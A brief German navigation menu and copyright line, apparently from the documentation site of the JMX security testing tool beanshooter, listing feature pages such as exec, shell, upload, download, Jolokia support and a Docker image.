Copyright 2023, Tobias Neitzel und die *beanshooter*-Mitwirkenden.
Tool herunterladen
tonka
  • exec
  • execarray
  • shell
  • upload
  • download
  • JMXMP
  • Jolokia Support
  • Docker Image
  • Beispielserver